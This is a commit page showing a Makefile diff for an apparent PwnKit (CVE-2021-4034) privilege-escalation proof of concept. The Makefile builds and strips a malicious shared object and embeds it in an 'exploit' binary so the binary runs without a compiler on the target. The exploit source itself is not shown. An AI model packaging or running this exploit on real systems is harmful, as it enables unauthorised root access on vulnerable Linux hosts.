embed pwnkit.so (no gcc required anymore)

2025-06-08 12:14:56 +01:00 · 2022-01-27 17:33:51 +00:00 · 2022-01-27 17:33:51 +00:00 · d63e5435ff
commit d63e5435ff
parent 0e48795ab0
3 changed files with 36 additions and 14 deletions
--- a/21
+++ b/21
@ -0,0 +1,21 @@
+define do_strip
+strip -R ".jcr"               \
+      -R ".comment"           \
+      -R ".eh_frame"          \
+      -R ".eh_frame_hdr"      \
+      -R ".note.gnu.build-id" \
+      --strip-debug           \
+      --strip-unneeded        $(1)
+endef
+
+exploit: FORCE
+	gcc pwnkit.c -o pwnkit.so -shared -fPIC
+	@$(call do_strip,pwnkit.so)
+	xxd -i pwnkit.so >pwnkit.so.inc
+	gcc cve-2021-4034-poc.c -o exploit
+	@$(call do_strip,exploit)
+
+clean:
+	rm -f pwnkit.so pwnkit.so.inc exploit
+
+FORCE: